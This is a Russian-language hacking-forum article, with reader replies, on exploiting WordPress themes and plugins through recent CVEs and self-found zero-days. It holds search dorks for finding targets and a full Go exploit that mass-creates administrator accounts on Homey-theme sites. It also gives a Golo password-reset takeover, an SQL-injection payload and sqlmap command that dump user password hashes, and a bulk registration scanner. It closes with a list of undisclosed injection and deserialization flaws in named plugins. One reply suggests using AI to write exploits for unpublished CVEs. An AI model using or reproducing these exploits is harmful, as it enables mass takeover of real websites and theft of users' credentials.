• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья 1-day / 0-day WordPress

miserylord

RAID-массив
Пользователь
Регистрация
13.05.2024
Сообщения
97
Реакции
319
Автор: miserylord
Эксклюзивно для форума:
xss.pro


Эта статья продолжает цикл, посвящённый взлому сайтов на WordPress.

В первой части речь шла об общей технологии, во второй — о принципах написания эксплойтов разных типов, в основном на основе PoC.

В заключительной части речь пойдёт о написании / анализе 1-day и 0-day эксплойтов для наиболее интересных CVE (с самыми высокими CVSS).

Возьмём список всех CVE за весну и отправимся в поисках самых интересных из них.


CVE-2024-12281


Информацию берем с wordfence.

Несмотря на "2024" в названии, CVE датирована мартом этого года.

Оценка — 9.8. Стоит присмотреться: тип уязвимости — повышение привилегий неаутентифицированным пользователем.

Описание составлено довольно слабо — из него неясно, идёт ли речь о теме или о плагине (что это такое, я писал ранее). Разбираемся.

Во-первых, тема Homey — проприетарная, а значит, анализа кода в том виде, в каком я описывал ранее для других CVE, провести не удастся. Уязвимость действительно находится в плагине homey-login-register, но сама тема устроена таким образом, что файл wp-content/plugins/homey-login-register/readme.txt не раскрывает информации ни о версии, ни о самом наличии плагина. Да и по сути — это не совсем плагин, а скорее просто JavaScript-код.

Для нахождения сайтов используем дорку: body="/wp-content/themes/homey"

Далее, на главной странице сайта ищем наличие такого кода: /wp-content/themes/homey/js/homey-ajax.js?ver=

Это свидетельствует о наличии плагина. Номер версии можно увидеть после ?ver=. Открыв сам файл, можно найти участок, в котором роль пользователя просто передаётся без валидации.

Открываем Burp и перехватываем запрос на регистрацию. Пробуем менять role. Список ролей не определён в коде плагина или JavaScript (я, если честно, так и не понял, где он определяется, поскольку роль при передаче — кастомная). Я попробовал подставить administrator, так как такая роль есть в официальной документации WordPress — и получил Success.

1.png
2.png




На этом этапе я вообще забыл, что в описании указано, что роль может быть либо Editor, либо Shop Manager. Не имею понятия, откуда это взято. По коду видно, что роль просто передаётся как параметр и не валидируется по уровню — и ладно.

Поскольку это кастомная тема, вход в аккаунт реализован нестандартно. Во-первых, он есть на главной странице, но там возникает ошибка подтверждения почты — это не тот вход, который нам нужен. Основной вход находится на /login/, и действительно — замена параметра role в запросе создаёт аккаунт, который получает доступ в админ-панель.

На основе того, что видно в Burp, можно составить примерно следующий код (хотя параметры могут отличаться в зависимости от конфигурации темы):


Код:
package main

import (
    "bufio"
    "bytes"
    "compress/gzip"
    "encoding/json"
    "fmt"
    "io"
    "net/http"
    "net/url"
    "os"
    "regexp"
    "strconv"
    "strings"
    "time"
)

const (
    major_e = 2
    minor_e = 4
    path_e  = 2
)
func checkPluginVersion(url string) bool {
    client := &http.Client{}

    req, err := http.NewRequest("GET", url, nil)
    if err != nil {
        fmt.Printf("Error creating request to %s: %v\n", url, err)
        return false
    }

    req.Header.Set("User-Agent",
    req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
    req.Header.Set("Accept-Language", "en-US,en;q=0.5")
    req.Header.Set("Connection", "keep-alive")

    resp, err := client.Do(req)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", url, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", url, err)
        return false
    }

    bodyStr := string(body)

    fmt.Println("=== HTML CONTENT START ===")
    if len(bodyStr) > 1000 {
        fmt.Println(bodyStr[:1000] + "...\n[HTML truncated]")
    } else {
        fmt.Println(bodyStr)
    }
    fmt.Println("=== HTML CONTENT END ===")

    re := regexp.MustCompile(`/wp-content/themes/homey/js/homey-ajax\.js\?ver=(\d+\.\d+\.\d+)`)
    matches := re.FindStringSubmatch(bodyStr)

    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 3 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])
        path, err3 := strconv.Atoi(parts[2])

        if err1 != nil || err2 != nil || err3 != nil {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e ||
            (major == major_e && minor < minor_e) ||
            (major == major_e && minor == minor_e && path <= path_e) {
            fmt.Println("Version is valid")
            return true
        }

        fmt.Println("Version is too new")
        return false
    }

    fmt.Println("No version found")
    return false
}

func testPoC(target string) {
    client := &http.Client{
        Timeout: 15 * time.Second,
    }

    req, err := http.NewRequest("GET", target, nil)
    if err != nil {
        fmt.Printf("[!] Ошибка запроса к %s: %v\n", target, err)
        return
    }

    req.Header.Set("User-Agent",
    req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
    req.Header.Set("Accept-Language", "en-US,en;q=0.5")
    req.Header.Set("Connection", "keep-alive")

    resp, err := client.Do(req)
    if err != nil {
        fmt.Printf("[!] Ошибка выполнения GET запроса к %s: %v\n", target, err)
        return
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("[!] Ошибка чтения тела ответа от %s: %v\n", target, err)
        return
    }

    re := regexp.MustCompile(`id="homey_register_security"[^>]*value="([^"]+)"`)
    matches := re.FindStringSubmatch(string(body))
    if len(matches) < 2 {
        fmt.Println("[!] Не удалось найти токен homey_register_security")
        return
    }
    token := matches[1]
    fmt.Println("[+] Найден токен:", token)


    username := "user"
    email := "user@google.com"
    password := "user"

    form := url.Values{}
    form.Set("username", username)
    form.Set("useremail", email)
    form.Set("register_pass", password)
    form.Set("register_pass_retype", password)
    form.Set("role", "administrator")
    form.Set("term_condition", "on")
    form.Set("homey_register_security", token)
    form.Set("_wp_http_referer", "/")
    form.Set("action", "homey_register")

    postURL := target + "/wp-admin/admin-ajax.php"
    req, err = http.NewRequest("POST", postURL, bytes.NewBufferString(form.Encode()))
    if err != nil {
        fmt.Printf("[!] Ошибка создания POST запроса к %s: %v\n", postURL, err)
        return
    }


    req.Header.Set("X-Requested-With", "XMLHttpRequest")
    req.Header.Set("User-Agent", "")
    req.Header.Set("Accept", "application/json, text/javascript, */*; q=0.01")
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
    req.Header.Set("Sec-Fetch-Site", "same-origin")
    req.Header.Set("Sec-Fetch-Mode", "cors")
    req.Header.Set("Sec-Fetch-Dest", "empty")
    req.Header.Set("Accept-Encoding", "gzip, deflate, br")
    req.Header.Set("Priority", "u=1, i")
    req.Header.Set("Connection", "keep-alive")

    resp, err = client.Do(req)
    if err != nil {
        fmt.Printf("[!] Ошибка выполнения POST запроса к %s: %v\n", postURL, err)
        return
    }
    defer resp.Body.Close()

    var reader io.ReadCloser
    switch resp.Header.Get("Content-Encoding") {
    case "gzip":
        reader, err = gzip.NewReader(resp.Body)
        if err != nil {
            fmt.Printf("[!] Ошибка создания gzip reader: %v\n", err)
            return
        }
        defer reader.Close()
    default:
        reader = resp.Body
    }

    respBody, err := io.ReadAll(reader)
    if err != nil {
        fmt.Printf("[!] Ошибка чтения ответа POST запроса: %v\n", err)
        return
    }

    if err != nil {
        fmt.Printf("[!] Ошибка чтения ответа POST запроса: %v\n", err)
        return
    }

    var result interface{}
    if err := json.Unmarshal(respBody, &result); err != nil {
        fmt.Printf("[!] Ошибка разбора JSON ответа: %v\nТело: %s\n", err, string(respBody))
        return
    }

    if strings.Contains(string(respBody), "true") {
        fmt.Printf("[+] УСПЕХ: аккаунт создан на %s\n", target)
    } else {
        fmt.Printf("[-] Не удалось создать аккаунт на %s. Ответ: %s\n", target, string(respBody))
    }
}

func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, testing PoC...\n", url)
            testPoC(url)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

CVE-2024-12876


Согласно описанию на Wordfence это уязвимость в теме Golo - City Travel Guide WordPress Theme. Снова проприетарная, снова с оценкой 9.8 по CVSS. Согласно описанию, возможен захват аккаунта путём перехвата запроса на смену пароля.

Для поиска уязвимых сайтов используем дорку: body="/wp-content/themes/golo"

На главной странице по стилям можно определить версию плагина: /wp-content/plugins/golo-framework/modules/elementor/assets/css/widget.css?ver=

Версия плагина указывается после ?ver=.

Дальше регистрируем аккаунт и отправляем письмо для восстановления пароля. В полученном письме будет ссылка вида: host?action=rp&key=key&login=ourlogin

Получаем список всех пользователей через маршрут: /wp-json/wp/v2/users/

Заменяем параметр login в ссылке на admin (или другого пользователя из списка), открываем ссылку, меняем пароль — и заходим под админом

Я не буду писать код эксплойта, так как тут могут быть нюансы. Например, маршрут может быть недоступен, или почту нужно будет перехватывать (куда-то же она должна приходить). Тем не менее, даже в проприетарных темах по краткому описанию довольно легко понять, что и как работает.


CVE-2025-1323


Нахождение эндпоинта при SQL-инъекциях — задача со звёздочкой. Складывается ощущение, что WordPress — это некое тайное знание человечества. Вроде бы можно догадаться, как должны идти данные: плагин просто изменяет core-методы WordPress, данные от пользователя попадают на какой-то эндпоинт, тот привязан к методу… ну, находим метод, проверяем документацию — и всё должно быть понятно.

Но только документация WordPress составлена человеком, в голове у которого, была мысль: «Да чё там, всё очевидно». Просто вот тебе список чего-то там по алфавиту, внутри другого списка всего, что пришло в голову — дальше, мол, сами. Из этой документации даже невозможно понять, какая функциональность есть у системы.

С другой стороны, это и объясняет, почему столько проблем с безопасностью в плагинах и темах: разработчики эмпирическим путём открывают способы написания плагинов, а затем передают их из уст в уста.

Есть ещё концепция плагинов, которые работают на базе других плагинов. Тогда, найдя метод, на который приходят данные, нужно идти в абсолютно другой плагин и искать путь этой информации уже там.

Впрочем, давайте разберём на примере 1day — CVE-2025-1323.

Итак, согласно описанию на Wordfence, это SQL-инъекция в плагине WP-Recall, в параметре databeat. В reference на WordPress.org можно найти лог изменений и увидеть, что речь идёт о файле rcl-chat. Из этого можно сделать вывод, что проблема касается функциональности, связанной с чатом.

Напомню, что мы работаем с плагином для регистрации профилей, а значит, в него вполне стоит встроить чат, все выпуски шоу Орел и Решка, Doom и рандомайзер библейских цитат — документацию писать не придётся, всё и так интуитивно понятно.

Находим информацию о дополнении в какой-то статье: https://codeseller.ru/products/rcl-chat/, там же — шорткод, который нужно установить для тестирования чата: [rcl-chat chat_room="my-chat" userslist="1"]

Открываем сетевые запросы и видим: при отправке сообщения в чат используется параметр databeat. Он представляет собой URL-кодированную JSON-строку. Декодируем её, анализируем часть, в которую можно будет внедрить payload с помощью Burp Suite.

Нужно добавить инъекцию в один из параметров JSON. Сначала я пробовал поле token, но безрезультатно. Затем перешёл к полю last_activity, добавив payload '; SELECT user(); --, и получил ошибку — отлично! Уязвимость найдена, едем дальше.

3.png


Переходим к sqlmap, чтобы получить данные из таблицы wp_users базы данных WordPress. Предположим, команда выглядит так:
Код:
sqlmap -u "https://host/wp-admin/admin-ajax.php" \ --data='action=rcl_beat&databeat=[{"action":"rcl_chat_get_new_messages","success":"rcl_chat_beat_success","data":{"last_activity":"2025-02-20 15:00:37*","token":"bXktY2hhdA==","update_activity":1,"user_write":0},"beat_name":"rcl_chat_beat_core"}]&ajax_nonce=37c11b0c06' \ --method=POST --level=5 --risk=3 --random-agent --threads=5
Но sqlmap ничего не находит. Почему? Я сразу не обратил внимания — мы работаем с POST, а не с GET запросом, и данные в параметре data не URL-кодируются автоматически. Здесь нужно добавить тампер-скрипт. Впрочем, стандартного тампера для кодировки вложенного JSON я не нашёл.

Можно было бы пробросить запросы через Burp и посмотреть почему так, но давайте просто раскрутим вручную.

В итоге, пейлод вида: ' UNION SELECT 1,user_login,user_pass,4,5,6,7 FROM wp_users -- позволяет получить хеши.


4.png



CVE-2025-32569


Вероятно, это одна из самых сложных типов уязвимостей — инъекция объектов PHP.

Теоретически, это не такая уж сложная уязвимость, которая основывается, в первую очередь, на понимании ООП. Я никогда не понимал ООП, ну, то есть, когда речь идёт о кошечках и машинках, это максимально очевидный концепт. Но когда речь идёт о программе, я скорее думаю о ней в императивном стиле (хотя я называл его функциональным, но, похоже, это всё же императивный стиль). Есть просто блоки функций, которые можно разбить на логические части или даже слои, и вызывать по мере необходимости. На кой чёрт создавать некую бесполезную сущность в виде класса, а потом придумывать гениальный костыль в виде static-функций? Впрочем, совсем не обязательно принимать этот концепт, достаточно понимать, как это работает на примере реального кода.

Итак, есть класс, из которого создаётся объект. Во время создания объекта могут быть вызваны внутренние методы PHP, такие как __destruct. Это называется магическими методами, и они заранее определены в документации — PHP: Magic Methods - Manual. Если мы создаём объект и передаём в пейлод, это приводит к определённым действиям в зависимости от метода.

Причём, при чём тут десериализация и что это вообще такое? Это просто приведение к строке. Приложение приводит инпут пользователя к строке и затем снова к объекту. Пейлод заключается в создании объектов, которые присутствуют в приложении, и где существуют магические методы. Это и есть гаджеты. Далее строится цепочка из этих сущностей.

Из описания уязвимости следует, что в самом плагине нет готовой POP-цепочки, но всё же давайте рассмотрим плагин, чтобы понять, где именно возникает уязвимость.

На момент написания авторы не внесли фиксы, поэтому лог изменений не поможет нам, впрочем, это и не особо важно. Ищем, где в коде используется метод unserialize, находим строку predefinition = unserialize((stripslashes($request_data['predefinition'])));, которая является частью функции get_table_data.

По сути, нужно понять, какой именно параметр и в какой части работы плагина попадает в serialize и как мы можем его передать.

В целом, по названию функций можно понять, что речь идёт о получении таблицы. Устанавливаем плагин (с ошибками) и смотрим, где в целом встречается параметр predefinition. Оказывается, это часть админки. Вот документация Posts Predefinition, там же можно загрузить демо и посмотреть запросы Audio Referrals - TableOn - WordPress Post Tables Filterable. Таблица приходит через JavaScript, а параметр predefinition устанавливается через админку. Следовательно, я не нахожу мест, где можно как-то повлиять на него, или не понимаю, как это сделать.

5.png


Предполагаю, что это false positive CVE.


CVE-2025-32658


Пожалуй, самым комплексным в работе с таким типом уязвимостей будет нахождение гаджетов, то есть для идеального сценария должна быть небезопасная десериализация и гаджеты. Они могут быть в плагине или теме.

Давайте на примере ещё одной CVE, где также нет встроенных цепочек гаджетов, продемонстрируем поиск уязвимости: https://www.wordfence.com/threat-in...gent-224-unauthenticated-php-object-injection

Скачиваем плагин и ищем в коде unserialize. В файле AttemptValidator.php обнаруживаем строку attempt = maybe_unserialize(base64_decode(_COOKIE[this->key])); в классе AttemptValidator.
Screenshot_6.png


maybe_unserialize пытается выполнить unserialize() на строке, если она выглядит как сериализованные данные. Если строка не является сериализованными данными, она просто возвращается без изменений.

Идём дальше. Класс AttemptValidator имплементируется в функциях login_guest и token_renew. Эти функции вызываются в файле api.php, это REST API. Вызываются на маршруте /guest/login.
Screenshot_7.png


Screenshot_8.png


Тестирую плагин, тыкаюсь по функционалу, устанавливаю, что для вызова нужно сначала пройти опрос, затем попасть на страницу login, и тогда сервер выдаст куку. При повторной попытке сервер заберёт куку и выдаст новую. Вот это и есть точка, в которой можно добавить пейлод.

Проверка на наличие магических методов не даёт результатов. Поэтому продвинуться дальше с этим плагином затруднительно.

У меня есть предположения по дальнейшему вектору, но пока что я не тестировал его в полной мере.


CVE-2023-2745


Казалось бы, при чём тут уязвимость 2023 года?

Дело в том, что совсем недавно на Exploit DB был опубликован эксплойт под неё — WordPress Core 6.2 - Directory Traversal - PHP webapps Exploit. Это уязвимость в ядре WordPress, а значит, она затрагивает все сайты на WP до версии 6.2. Из эксплойта следует, что это уязвимость обхода путей — в пейлоде используется ../../../../../etc/passwd. Предполагаю, что теоретически можно получить приватные ключи от сервера или файл wp-config.php.

Немного анализа — и нахожу другой эксплойт: nuclei-templates/http/cves/2023/CVE-2023-2745.yaml, написанный для nuclei. Здесь сначала делается POST-запрос на wp-login, а затем — GET-запрос на /wp-login.php?wp_lang=../../../../../../../wp-config.php, и в ответе проверяется наличие, в том числе, строки DB_NAME. Вероятно, POST-запрос нужен для проверки доступности маршрута.

Проще всего определить версию WordPress по тегу . Следовательно, дорка для FOFA — body="WordPress 6.2".

Тестирую — и понимаю, что ни один из эксплойтов не срабатывает. Пробую менять пейлоды — безрезультатно.

Продолжаю ресерч и нахожу Directory Traversal in WordPress | CVE-2023-2745 | Snyk. В описании указано, что уязвимость позволяет неаутентифицированным злоумышленникам получить доступ к произвольным файлам перевода и загружать их. В случаях, когда злоумышленник может загрузить специально созданный файл перевода на сайт (например, через форму загрузки), это также может использоваться для XSS-атаки.

Возможно, мне не хватает понимания WordPress, но из того, что я вижу, эти эксплойты просто не могут работать. Это очень ограниченный обход путей, который работает только с языковыми файлами и может быть использован лишь при предварительной загрузке нужного файла.


Возможно, не все CVE — настоящие.


Больше всего трудностей приносили LFI. Казалось бы, найти место, где происходит вызов одного из методов типа include, file_get_contents и т. п., — и просто подставить пейлод в нужный параметр маршрута. А затем указать в эксплойте интересующие файлы.

Я выбирал исключительно уязвимости, не требующие авторизации. Но при анализе кода терял уверенность в том, что описания вообще валидны.

Например, CVE-2025-31030: Wordfence - Lingotek Translation LFI. В changelog указано: Fixed LFI vulnerability in view-tutorial.php and added CSRF protection. Анализирую файл и понимаю, что параметр &sm= может привести к LFI. Но как я ни старался, не понял, где именно он возникает. И тем более неясно, как может идти речь о неаутентифицированной LFI, если это админская страница плагина, у которой на первый взгляд всё в порядке с проверкой доступа.

Или, например, CVE-2025-39462: Smart Agreements LFI. Предполагаю, что дело в методе public static function getFileContent. Это, по сути, библиотека Dompdf, добавленная в плагин. Однако из кода следует, что функция вызывается при создании формы — без возможности вмешательства пользователя. Возможно, я просто не понял, где именно происходит LFI. А возможно, она была найдена автоматически сканером и на деле её просто нет.

Ну или CVE-2025-32589: Flexi Guest Submit LFI. Предполагаю, что LFI — в файле class-flexi-ffmpeg.php, а именно в строке image_data = file_get_contents($output);. Это часть некоего аддона FFMPEG, устанавливаемого дополнительно к плагину: FFMPEG видео-кодирование. Но когда и как эта функция вызывается — остаётся загадкой.


CVE-2025-39568


Иногда определить уязвимый эндпоинт можно просто по changelog. В этом случае эксплойт гипотетический, так как WordPress порой не позволяет скачать старые версии плагинов, а сам плагин имеет мало активных установок — и все они обновлены. Тем не менее, это наглядный пример.

Из changelog'а на WordPress.org видно, что ранее в плагине использовалась кнопка btnDownloadLog, которая отправляла POST-запрос с действием action='class-storecontrl-wp-connection-admin.php' для загрузки логов.

Если предположить, что обработка этой формы происходила без аутентификации, возможный эксплойт мог бы выглядеть следующим образом:

Код:
curl -X POST https://host.com/wp-admin/class-storecontrl-wp-connection-admin.php
 -d "file.txt"


CVE-2024-13688


Уязвимости бывают разные. Недавно была опубликована CVE-2024-13688: CVE Details. На первый взгляд она кажется интересной — некий плагин для администрирования использует захардкоженный пароль. Существуют даже PoC: wpscan.

Однако, при более тщательной проверке выясняется, что уязвимый функционал вовсе не относится к административным функциям. Это всего лишь механизм защиты паролем отдельных страниц — скорее всего, он используется при разработке и тестировании (судя по всему, плагин ориентирован на веб-студии).

Кроме того, определить версию плагина не так просто, поскольку она указана в виде числового идентификатора (1743497583), и без дополнительных данных трудно привести его к привычному формату. Тем не менее, PoC действительно работает — правда, таких сайтов совсем немного. Искомые ресурсы можно попробовать найти через FOFA по дорке: body="/wp-content/plugins/admin-site-enhancements" и далее через google дорк: site:.

За пределами стандартных уязвимостей (всё намного проще)


Помимо прочего, можно выдвигать различные гипотезы — например, что если на сайте открыта регистрация и при регистрации автоматически назначается роль администратора? Таким образом, с помощью соответствующего кода можно массово тестировать сайты, заменяя почтовый адрес, и получить аккаунты на множестве WordPress-сайтов.

Код:
package main

import (
    "bufio"
    "bytes"
    "fmt"
    "io"
    "net/http"
    "os"
    "strings"
)

func main() {
    file, err := os.Open("hosts.txt")
    if err != nil {
        fmt.Println("Ошибка открытия файла hosts:", err)
        return
    }
    defer file.Close()

    var goods []string
    scanner := bufio.NewScanner(file)

    for scanner.Scan() {
        host := strings.TrimSpace(scanner.Text())
        if host == "" {
            continue
        }

        url := fmt.Sprintf("%s/wordpress/wp-login.php?action=register", host)

        data := "user_login=login1861&user_email=mailadr@mail.mail&redirect_to=&wp-submit=Register"

        req, err := http.NewRequest("POST", url, bytes.NewBufferString(data))
        if err != nil {
            fmt.Println("Ошибка создания запроса:", err)
            continue
        }

        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        req.Header.Set("User-Agent", "")
        req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7")
        req.Header.Set("Accept-Encoding", "gzip, deflate, br")
        req.Header.Set("Connection", "keep-alive")

        client := &http.Client{
            CheckRedirect: func(req *http.Request, via []*http.Request) error {
                return http.ErrUseLastResponse
            },
        }

        resp, err := client.Do(req)
        if err != nil {
            fmt.Println("Ошибка отправки запроса к", host, ":", err)
            continue
        }
        defer resp.Body.Close()
        io.Copy(io.Discard, resp.Body)

        if resp.StatusCode == 302 {
            fmt.Println("[GOOD]", host)
            goods = append(goods, host)
        } else {
            fmt.Println("[BAD]", host, "Status Code:", resp.StatusCode)
        }
    }

    if err := scanner.Err(); err != nil {
        fmt.Println("Ошибка чтения файла:", err)
    }

    err = os.WriteFile("goods.txt", []byte(strings.Join(goods, "\n")), 0644)
    if err != nil {
        fmt.Println("Ошибка записи файла goods.txt:", err)
        return
    }

    fmt.Println("Работа завершена! Найдено хороших хостов:", len(goods))
}

Также сюда можно отнести тестирование других методов, связанных с WordPress.


Поиск 0day (когда исходный код недоступен)


Теоретически можно анализировать полученные JavaScript-файлы и на основе этого делать определённые выводы, но этот вариант я рассматривать не буду.

Возвращаясь к CVE-2024-12876 и CVE-2024-12281: на самом деле, поиск уязвимостей нулевого дня довольно прост и требует ручного тестирования. Напомню, что эти CVE относятся к уязвимостям, связанным с перехватом аккаунта или созданием аккаунта с правами администратора.

Для поиска подходящих тем переходим на ThemeForest и выбираем те, где реализована регистрация, и где возможно передать роль при создании аккаунта. Это, например, фриланс-темы, где есть роли заказчика и фрилансера. Далее с помощью Burp Suite перехватываем запрос регистрации и пробуем подменить передаваемую роль на administrator, после чего проверяем, удалось ли создать аккаунт. Для перехвата существующих аккаунтов тестируем механизм восстановления пароля, заменяя имя пользователя на admin (или другое установленное).

На это могут уйти часы, а скорее — дни и недели, но математически, учитывая количество тем и постоянное появление новых, нахождение 0day-уязвимости практически гарантировано. Далее можно варьировать векторы и типы атак, подбирая темы в зависимости от логики и предположений, на каких именно типах тем такие уязвимости вероятнее всего могут возникнуть.

Я протестировал несколько десятков тем, однако они работали корректно, и 0day уязвимость обнаружить не удалось.

Поиск 0day (когда код доступен)


Существует несколько путей, по которым можно пойти. Например, можно прогнать код через PHPStan (хотя он не очень дружит с WordPress) или использовать аналогичные инструменты.

Однако можно создать собственный парсер на базе регулярных выражений, а не полноценный статический анализатор. По сути, уязвимости в коде — это определённые паттерны. Да, таким способом нельзя обнаружить всё, но, расширяя регулярки на основе уже известных CVE, можно покрыть много базовых кейсов. Я взял самые простые из тех, что мне удалось найти. Например, если в коде встречается wpdb->query( — без использования подготовленных запросов — это может указывать на SQL-инъекцию. Или, если используется maybe_unserialize (особенно в файле, где также фигурируют $_COOKIE), это может свидетельствовать о PHP Object Injection.

Далее — скачиваем кучу плагинов и прогоняем их через наш парсер. Потом уже вручную смотрим код.

Код:
package main

import (
    "bufio"
    "fmt"
    "io/fs"
    "os"
    "path/filepath"
    "regexp"
    "strings"
    "unicode/utf8"
)

var patterns = map[string]string{
    `\$\bwpdb\b\s*->\s*query\s*\(`:                    "Потенциальная SQL уязвимость (query)",
    `\$\bwpdb\b\s*->\s*get_var\s*\(`:                  "Потенциальная SQL уязвимость (get_var)",
    `\$\bwpdb\b\s*->\s*get_row\s*\(`:                  "Потенциальная SQL уязвимость (get_row)",
    `\$\bwpdb\b\s*->\s*get_col\s*\(`:                  "Потенциальная SQL уязвимость (get_col)",
    `\$\bwpdb\b\s*->\s*get_results\s*\(`:              "Потенциальная SQL уязвимость (get_results)",
    `\$\bwpdb\b\s*->\s*replace\s*\(`:                  "Потенциальная SQL уязвимость (replace)",
    `\bunserialize\b\s*\(`:                            "Потенциальная PHP Object Injection (unserialize)",
    `\bmaybe_unserialize\b\s*\(`:                      "Потенциальная PHP Object Injection (maybe_unserialize)",
    `\bdo_action\b\s*\(\s*"wp_ajax_nopriv_`:           "Потенциальная privilege escalation (wp_ajax_nopriv_)",
    `\beval\b\s*\(`:                                   "Потенциальное RCE (eval)",
    `\bpreg_replace\b\s*\(.*?/e`:                      "Потенциальное RCE (preg_replace с /e модификатором)",
    `\bcall_user_func\b\s*\(`:                         "Потенциальное RCE (call_user_func)",
}

func scanPHPFile(path string) {
    fmt.Printf("[Обработка] Сканируется файл: %s\n", path)

    file, err := os.Open(path)
    if err != nil {
        fmt.Printf("[Ошибка] Не удалось открыть файл %s: %v\n", path, err)
        return
    }
    defer file.Close()

    data, err := os.ReadFile(path)
    if err != nil {
        fmt.Printf("[Ошибка] Не удалось прочитать файл %s: %v\n", path, err)
        return
    }

    if !utf8.Valid(data) {
        fmt.Printf("[Предупреждение] Файл %s содержит не-UTF-8 символы\n", path)
        return
    }

    content := string(data)
    found := false

    normalizedContent := strings.Join(strings.Fields(content), " ")

    for pattern, warning := range patterns {
        re, err := regexp.Compile(pattern)
        if err != nil {
            fmt.Printf("[Ошибка] Неверная регулярка %s: %v\n", pattern, err)
            continue
        }

        if re.MatchString(normalizedContent) {
            fmt.Printf("[!] %s найдено в файле: %s\n", warning, path)
            found = true
        } else {
        //    fmt.Printf("[Отладка] Шаблон %s НЕ найден в файле %s\n", pattern, path)
        }
    }

    scanner := bufio.NewScanner(file)
    lineNumber := 0
    var lines []string
    for scanner.Scan() {
        lines = append(lines, scanner.Text())
        lineNumber++
    }

    for pattern, warning := range patterns {
        re, err := regexp.Compile(pattern)
        if err != nil {
            continue
        }
        for i, line := range lines {
            if re.MatchString(line) {
                fmt.Printf("[!] %s найдено в файле %s, строка %d: %s\n", warning, path, i+1, strings.TrimSpace(line))
                found = true
            }
        }
    }

    if err := scanner.Err(); err != nil {
        fmt.Printf("[Ошибка] Ошибка при чтении файла %s: %v\n", path, err)
        return
    }

    if !found {
        //fmt.Printf("[Инфо] Уязвимые конструкции не найдены в файле: %s\n", path)
        //fmt.Printf("[Отладка] Содержимое файла %s:\n%s\n", path, content)
    }
}

func scanDirectory(root string) {
    fmt.Printf("[Старт] Начинаем сканирование директории: %s\n", root)
    filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error {
        if err != nil {
            fmt.Printf("[Ошибка] Не удалось обработать %s: %v\n", path, err)
            return nil
        }
        if !d.IsDir() && filepath.Ext(path) == ".php" {
            scanPHPFile(path)
        }
        return nil
    })
    fmt.Println("[Завершено] Сканирование завершено.")
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Использование: go run scan_php_vulns.go /путь/к/папке")
        return
    }
    scanDirectory(os.Args[1])
}

Найденные 0day:
  • В плагине disable-right-click-powered-by-pixterme — небезопасная десериализация в функции public function import.
  • В плагине flovidy — SQL-инъекция: в классе Flovidy_links, параметр urls в функции get_flovidy_urls, передаётся через $_POST['urls'].
  • В плагине funnel-builder — SQL-инъекция в функции partially_refunded_process, параметр order_id.
  • В плагине hkinfosoft-unbounce-to-gravity-form-integration — SQL-инъекция через $_POST['page_name'].
  • Возможно, в плагине paymill в файле pay_button.inc.php — небезопасная десериализация: unserialize($instance['products']).
  • В плагине ship-per-product — SQL-инъекция в функции ced_spp_csv_export.

Да, в основном это довольно простые и небольшие плагины. И да, это 0day уязвимости, найденные на основе анализа кода (впрочем, как и многие CVE).


Вот так вот. Трям, пока!
 
Последнее редактирование модератором:
Прикольно. А зачем ты код вставляешь через однострочный код? =)
на онион зеркале кнопки "код, смайлы и медиа" сломаны давно
ezgif-83c616b110e367.gif
 
Последнее редактирование:
Код:
[CODE]код сюда[//CODE]

а если так? без кнопок
 
Прикольно, не знаю я уже делился или нет, но вот в дополнение к статье я думаю зайдет.
Суть в том, что тип с помощью ИИ написал рабочий poc для cve код которой не выложили еще.
Я думаю если комбинировать максимальную инфу о cve и подключить пару ИИ с хорошими промтами, то можно даже что-то с этим сделать
 
Прочитал все 3 части и хочу сказать огромно спасибо автору! Сколько бы времени и ошибок мне бы это помогло предотвратить была бы у меня вся эта инфа в самом начале! респект автору!!!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх